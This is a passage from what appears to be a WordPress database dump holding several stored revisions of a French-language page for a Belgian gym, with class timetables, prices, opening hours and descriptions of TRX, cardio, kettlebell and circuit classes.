style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:35:39', '2013-07-03 16:35:39', '', 11, 'http://www.crosstrainingcenter.be/?p=172', 0, 'revision', '', 0),
(187, 1, '2013-07-03 17:33:38', '2013-07-03 17:33:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;\r\nEn semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:33:38', '2013-07-03 17:33:38', '', 11, 'http://www.crosstrainingcenter.be/?p=187', 0, 'revision', '', 0),
(174, 1, '2013-07-03 16:43:44', '2013-07-03 16:43:44', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 